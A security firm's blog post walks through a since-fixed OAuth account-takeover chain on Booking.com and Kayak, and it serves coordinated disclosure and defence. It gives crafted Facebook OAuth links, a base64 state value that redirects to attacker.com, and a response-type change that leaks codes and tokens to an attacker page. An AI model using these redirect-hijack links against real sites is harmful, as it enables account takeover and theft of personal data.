Register for our Dec 19th Webinar: Beyond the Perimeter: Achieving Comprehensive API Security

Blog Post

Salt Labs

Traveling with OAuth — Account Takeover on Booking.com

Aviad Carmel
Mar 2, 2023

OAuth (Open Authorization) is a modern, open authorization standard designed to allow cross-application access delegation — for example, allowing your application to read data from your Facebook profile. Combined with the proper extensions, OAuth can also be used for authentication — for example, to log into your application using Google credentials.

Since its first introduction in 2006, OAuth has gained tremendous popularity. Recent studies show that about 90% of the users preferred social login over traditional email registration on websites. Given the widespread usage of OAuth, any vulnerabilities found in its components or their implementations may lead to considerable security impact in the applications and services using them.

This post is the first in a series intending to describe these issues in depth, with rich technical details, and to share real-world use cases highlighting these errors and their potential impact. For this initial post, we describe an OAuth implementation issue Salt Labs researchers were able to find in Booking.com, a company with $16 billion in annual revenue.

For the OAuth issues we found, had a bad actor discovered and successfully exploited them, that attacker could have taken over the accounts of users logging in via Facebook. Once logged in, the attacker could have performed any action on behalf of the compromised users and gain full visibility into the account, including all of a user’s personal information. Our research found that attackers could then use the compromised booking.com login to also log into sister company Kayak.com.

All the issues described in this post have been disclosed to Booking.com, and the company acted very quickly to address and completely mitigate them. We want to use this opportunity to thank Booking.com for its professional approach and cooperation with Salt Labs in this matter. Booking.com provided this commentary:

"On receipt of the report from Salt Security, our teams immediately investigated the findings and established that there had been no compromise to the Booking.com platform, and the vulnerability was swiftly resolved. We take the protection of customer data extremely seriously. Not only do we handle all personal data in line with the highest international standards, but we are continuously innovating our processes and systems to ensure optimal security on our platform, while evaluating and enhancing the robust security measures we already have in place. As part of this commitment, we welcome collaboration with the global security community, and our Bug Bounty Program should be utilized in these instances."

The following short video provides a visual overview of how the Salt Labs researchers were able to hijack the OAuth login process.

Let’s dive into the details.

What is OAuth?

OAuth 2.0 is a commonly used framework that allows users to authorize third-party applications to access their resources without sharing their passwords. For example, you can authorize Slack to access your Google calendar so your colleagues can see when you’re in meetings.

OAuth was not originally intended to be an authentication framework, but it has emerged as a widely used authentication mechanism for users with the social sign-in feature — the “log in with Google/Facebook” option you see on sites and in applications. Many ecommerce websites and apps use OAuth, for example, to allow users to authenticate their account and make purchases without having to enter their credentials multiple times.

You may have heard of “OpenID connect” for authentication — it’s a similar concept and based on OAuth.

A security breach in OAuth can lead to identity theft, financial fraud, and access to all sorts of personal information including credit card numbers, private messages, health records, and more. Last year, many interesting blogs described account takeover in sign-in OAuth flows, such as Frans Rosen's "Dirty Dancing" and Youssef Sammouda's blog, the findings of which netted him a $44,625 award from Facebook. These blogs and others provide valuable insights into the inner workings of OAuth and the potential risks associated with it.

How does OAuth work for authentication?

Let's start with a simple non-technical diagram:

Let’s explain the steps, one by one:

1. You enter Randomsite.com and click on “Login with Facebook”.

2. Randomsite.com will open a new window to Facebook.

3. If it's your first time on Randomsite.com, Facebook will ask you to give permission. Otherwise Facebook will automatically authenticate you.

4. After you click on “Continue as John”, Facebook will generate a secret token. This token is private for Randomsite.com, and associated with your Facebook profile.

5. Facebook redirects you back to Randomsite.com with this token.

6. Randomsite.com uses the token to talk directly with Facebook to get your email address.

7. Facebook approves that this is really john@gmail.com, and Randomsite.com can log him in.

And now let’s dive into more details, by adding URLs to the diagram:

In steps 2-3:

After John clicks on login with Facebook, Randomsite.com opens a new window to the following address:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token.

Note the redirect_uri parameter – it tells Facebook where to send the token in Step 4-5.

In steps 4-5:

Facebook prepares a secret token for Randomsite.com (the client_id parameter tells facebook that the request is from randomsite.com) and redirects your browser back to redirect_uri . The exact redirection:

https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]

In steps 6-7:

Randomsite.com reads the token from the URL, and uses it to talk directly with Facebook using the following API:

https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token].

The response is john@gmail.com.

The flow in the example is called “implicit grant type,” which is common in single-page applications and native desktop applications that don't have a back end. Although I could use an example without a back end (without Randomsite.com), I decided to combine an implicit grant type with a back end because it is easier to understand.

Google, Apple, and other well-known vendors follow a similar flow. A newer method takes advantage of the PostMessage feature instead of a redirection, but we’re not addressing that use case in this post. Using redirection is still the most common approach.

OAuth implementation at Booking.com

Why Booking.com

Booking.com, part of Booking Holdings, a Fortune 500 company, is one of the most popular and widely used hotel booking platforms. The company has more than 15,000 employees and enjoys $16B in annual revenue.

As a happy customer of Booking.com, I have used the platform many times to book vacations. As a security researcher, I wanted to take a look at the OAuth implementation before an ill-intentioned hacker does.

How OAuth works in Booking.com

The flow is very similar to the example with Randomsite.com except it includes one new step, which we marked in red:

Step 1: In Booking.com, you click on  “Login with Facebook.”

Steps 2-3:

Booking opens the following link: https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.

Note that the response type is code instead of a token as we saw in the example of Randomsite.com.

A code is a temporary value that should be exchanged with a token. It adds an additional layer of security as I will explain in steps 6-7.

Steps 4-5:

Facebook authenticates you and redirects you back to booking.com with a code.

https://account.booking.com/social/result/facebook?code={code}&state=[large_object]

Note that the code was passed to account.booking.com in a query parameter (?code=) instead of hash fragment (#token=) like the example of Randomsite.com. We will explain more on this issue later.

Steps 6-7:

To get a token, booking.com needs to exchange the code with token using the following Facebook API:

(from official Facebook documentation)

This step can be done only by Booking.com because it involves an {app-secret} only Booking.com knows. The code is for one-time use – that is, it can be exchanged only once. This approach is more secure – if an attacker steals the code, it is almost impossible to exploit.

Steps 8-9:  

Like we saw in Randomsite.com, Booking.com uses the Facebook API to get information about you, such as your email address. If Booking.com has an account that uses this email, then Booking signs you into this existing account.

This flow, which is common in almost every modern site, is called “Authorization code grant” or “OAuth explicit flow.”

Account takeover on Booking.com

In OAuth, the goal of the attacker is to steal the token or code of the victim. In the case of Booking, the focus is the code. My general methodology in OAuth research is to cause unexpected behaviors of the flow by changing every parameter I can, to see how these manipulations advance me toward the ability to launch a successful attack.

I was able to chain together three different security issues, which I will explain in detail, to enable full account takeover at Booking.com.

Security gap 1 — not allowing a unique path

By manipulating a few of the steps in the OAuth sequence for this site, I was able to learn helpful information and start a path of manipulation.

In normal behavior, like I explained before, when a user clicks on “log in with Facebook,” Booking redirects the user to the following link in Facebook: https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.

In step 1, I changed the redirect_uri to a different path and sent this link to a victim:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/any/path/an/attacker/wants&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.

Note that we can’t change the origin (account.booking.com) because Facebook will throw an error - it doesn’t match the predefined origin provided by Booking.com.

When Booking.com registered to Facebook, they provided a predefined origin for the redirect_uri, but didn’t provide an exact path. Therefore Facebook can validate only the origin before the redirection occurs.

Step 4: This link will redirect the victim to:

https://account.booking.com/any/path/an/attacker/wants?code=[secret_code]?state=[large_object]

We can send the code to any path we want, so now we look for a way to send the code to another origin/domain that we control.

Security gap 2 — open redirection

At this point, I needed a path in booking.com that would redirect the victim to my controlled domain. That’s the definition of an open redirection vulnerability.

I start exploring features in Booking.com, and I find an interesting thing in “My Dashboard”:

Clicking on “add a display name”, points to the following url:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9

That URL automatically redirects the user to: https://account.booking.com/mysettings/personal. Can you guess how?

I immediately notice that the state variable contains a base64 json string: eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9.

Let’s decode it:

Seems like Booking uses the mysettings_path to determine how to redirect the user.

Let’s encode the following Json:

We got eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

We replace the state in the original link, and send the victim the new link:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

The link automatically redirects the victim to a shorter link (I skipped it before):

https://account.booking.com/settings/oauth_callback?state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&code=not_important_123

And then to:

https://attacker.com/index.php

You might have seen the word “OAuth” or “redirect_uri” in the open-redirection link. I assume it’s an inner implementation of OAuth in Booking.com. It isn't related to Facebook or to the redirect_uri from security gap 1.

Now we have an open redirection bug in booking.com.

Security gap 1 + 2 = Account Takeover Attempt

The link to Facebook from security gap 1 (where we can send the code to any path we want):

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/any/path/we/want&scope=email&client_id=210068525731476&state=large_object]&response_type=code

+

The open redirection link from security gap 2 (redirection to www.attacker.com) is:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

=

Let’s insert the open redirection link in the redirect_uri from security gap 1:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476

We send this link to the victim.

Changing the response type

If the victim clicks on the link as it, Facebook redirects the user to the URL from security gap 2, with a code:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&code=[secret_code]

It’s the URL with the open redirection (the state eyJteXN… points to attacker.com), so Booking redirects the victim to: https://attacker.com/index.php.

However, in a redirection, only the values after ‘#’ (hash fragments) are passed by the browser. The code, which was passed in a query parameter (?=code=), was not sent to attacker.com (does not appear in the redirection to https://attacker.com/index.php).

By changing the response type from “code” to “code, token”. Facebook will send both the code and the token in the hash fragment. It’s a feature :)

The reason: since an access token is a super sensitive value in OAuth, using the hash fragment is a more secure approach. It is not sent to the server side and doesn't appear in the logs – only the javascript code can read it. (For more information on this detail, you can Google “OAuth implicit grant.”)

Flow summary:

Step 1: The attacker sends the victim the following link:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code,token&client_id=210068525731476

Steps 2 and 3: After the victim clicks on the new link (with response type=code,token), Facebook automatically redirects the user to the URL from security gap 2 with a code in the hash fragment:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ#code=[secret_code]&access_token=[token]

Steps 4 and 5:  It’s the URL with the open redirection (the state points to attacker.com), so Booking redirects the victim to: https://attacker.com/index.php

Step 6: The browser add the code to the hash fragment, and redirects the victim to:

https://attacker.com/index.php#code=[secret_code]&access_token=[token]

Optional: Let see the source code of attacker.com/index.php:

Index.php — a javascript code that reads the url and sends it to save.php.

Save.php — save the inputs to a log file.

(I generated the code with sanppify.com)

Account takeover Attempt 1

At this point, we have the code of the victim. We (as the attacker) need to start a new login flow and replace our code with the victim code. We click again “sign-in with Facebook” and sign in using our account.

In the normal flow, after Facebook authenticate us, it redirects us to Booking with our code:

https://account.booking.com/social/result/facebook?code={our_code}&state=[large_object]

We intercept this request. We replace the code with the victim stolen code:

https://account.booking.com/social/result/facebook?code={victim_code}&state=[large_object]

Booking.com should exchange the code for a token, and get the profile info of the victim.

What comes back? Wait for it …

“Invalid code”

Nothing happens. What did I miss?

Debugging the account takeover failure — what did we miss?

From Facebook documentation, to exchange code with a token, Booking.com, in the back end, should use this API:

In the documentation, Facebook wrote “This argument (redirect_uri) must be the same as the original that you used when starting the OAuth login process”.

We started the OAuth login process with this link:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=token,code&client_id=210068525731476

In this case, the original redirect_uri is marked in purple.This link is the open redirection link from security gap 2.

However, in the back end, when Booking exchanges the code for a token using the /oauth/access_token API, it sends Facebook the hard-coded value “https://account.booking.com/social/result/facebook” as the redirect_uri. This is the redirect_uri that booking uses in the normal flow.

In the same OAuth flow, Facebook got two different redirect_uri, got suspicious, and therefore threw an error.

Finding security gap 3

At this point, I couldn’t find a solution on the web, so I decided to do some research on the mobile application of Booking.com. I used Android studio, Frida (to bypass SSL pinning) and a decompiler to read the code responsible for OAuth on that app.

For intercepting the request between the mobile application and Booking.com backend, I used Burp.

The diagram of exchanges on the mobile app is a little confusing – you can focus just on Step 6:

The OAuth flow in the mobile app has one major difference from the flow on the website – Step 6.

Steps 3 to 6: The code was passed to the mobile application, and then the mobile Application sent it to Booking.com. To be more accurate, the code was passed to Chrome->Booking.com->MobileApp->Booking.com

I’m not sure why this ping-pong is necessary.

Step 6: The mobile app passes the code to Booking.com using a post request:

Pay attention to resultUri. Can you guess what Booking does with it?

If Booking.com uses resultURi as the redirect_uri to exchange code with token, and we can control this value, then we can bypass the validation of Facebook.

The original redirect_uri that we used for the attack is:

https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ

To summarize, as the attacker, we need to:

  1. Login to Booking.com, from the attacker Mobile application, with the attacker account.
  2. Intercept the request in Step 6.
  3. Replace our code with the stolen victim code.
  4. Replace resultURi, with the link that we used for the attack (booking.com/state=eyJteXn..)

We send that request to Booking.com, and … game over. We can log into the victim account.

(In the video, the attacker uses Mac for the attack, the victim uses Windows.)

(Note: In security gap 2, I had two links that caused a redirection. In the video, I used the shorter link.)

What’s next?

We created a link that takes over any account on Booking.com that uses Facebook. The link itself points to a legitimate facebook.com or booking.com domain, which makes it difficult to detect (manually or automatically). The next step is to check the impact on other Booking sites such as Kayak.com and on other sign-in methods such as Google.

Account takeover on Kayak.com

It's a feature. If we have access to the victim account on Booking.com, we should also have access to kayak.com, which lets the users identify themselves using their account in Booking.com. We tested this theory, and it worked.

Logging in with Google

The vulnerability is in the integration between Facebook and Booking.com, However, it’s possible to sign in to a Booking.com account using Facebook even if that account was created using Google or another sign-in method.

To check it, we sent a link to a user that was authenticated with Google. During the exploit, Facebook asked (very legitimately, the victim has no reason to suspect) to allow access to Booking.com, and then the code was passed to our domain. Since the victim code is associated with the victim email address, Booking.com reads the email address from the code (/token) and connects the user to the relevant account that has this email.

Potential Business Impact

This misconfiguration of OAuth has a significant impact on both the company and its customers. An attacker could potentially make unauthorized requests on behalf of a victim, cancel existing reservations, or access sensitive personal information such as booking history, personal preferences, and future reservations. The site also supports the ability to rent cars or order taxis.

How to mitigate this threat:

The vulnerability described in this document is a combination of three minor security gaps.  Most of the focus is on the first security gap, which allows the attacker to choose another path for the redirect_uri.

When you do an integration with Facebook or another vendor, it’s extremely important to provide hard-coded paths for the redirect_uri in the Facebook configuration. As you saw in the document, only origin is not enough.

Security Gap 3 is also related to redirect_uri. This value should not be taken from the user input.

Booking.com — A Fast Fix

Security vulnerabilities can happen in any website, and the response is what matters. We reported everything to Booking.com, and the team was able to fix these security gaps very quickly. We were happy with Booking.com's commitment to security and the company’s willingness to take swift action to protect the personal information of its users. By fixing the issue, Booking.com may have prevented a security breach at the hands of ill-intentioned hackers.

To learn more about how Salt can help defend your organization from API risks, you can connect with a rep or schedule a personalized demo.

Disclosure Timeline

We worked through the following timeline in this coordinated disclosure process. Again, we thank Booking.com for taking action so quickly to resolve these critical vulnerabilities.

  • Salt Labs discovers security gaps 1# and 2#: November 10, 2022
  • Salt Labs discovers all security gaps with account takeover:  November 21, 2022
  • Salt Labs makes the first contact with Booking.com: November 27, 2022
  • Salt Labs discloses technical details to Booking.com security team: December 4, 2022
  • Salt Labs confirms exploits are no longer working and security gaps have been resolved: December 26, 2022
  • Booking.com security team confirms the security disclosure, that the team has fixed the issues, and that the team has validated the issues were properly fixed: January 12, 2023
  • Salt Security marketing team shares press release and blog writeup with Booking.com media team: February 19, 2023
  • Booking.com sends formal commentary to be included in vulnerability research blog: February 24, 2023

Tags

Salt Security Blog

Sign up for the Salt Newsletter for the latest resources and blog posts.

December 13, 2024

Michael Callahan
Chief Marketing Officer

Industry

API Security is Not a Problem You Can Solve at the Edge

Edge security is a crucial component of an organization’s defense, but it’s just one piece of the puzzle. Learn why API security requires a broader view.

Read more

November 27, 2024

Eric Schwake
Head of Product Marketing

Industry

Beyond Traditional Security: Addressing the API Security Gap

To safeguard your business from API-specific threats, you need a dedicated solution that offers comprehensive visibility, in-depth contextual analysis, automated governance, robust data protection, and AI-driven threat prevention.

Read more

November 21, 2024

Eric Schwake
Head of Product Marketing

Industry

API (In)security: The Hidden Risk of Black Friday

Learn how, for online retailers, Black Friday represents both a lucrative opportunity and a significant cybersecurity challenge.

Read more

Download this guide for advice on evaluating key capabilities in API Security

Get the guide
Back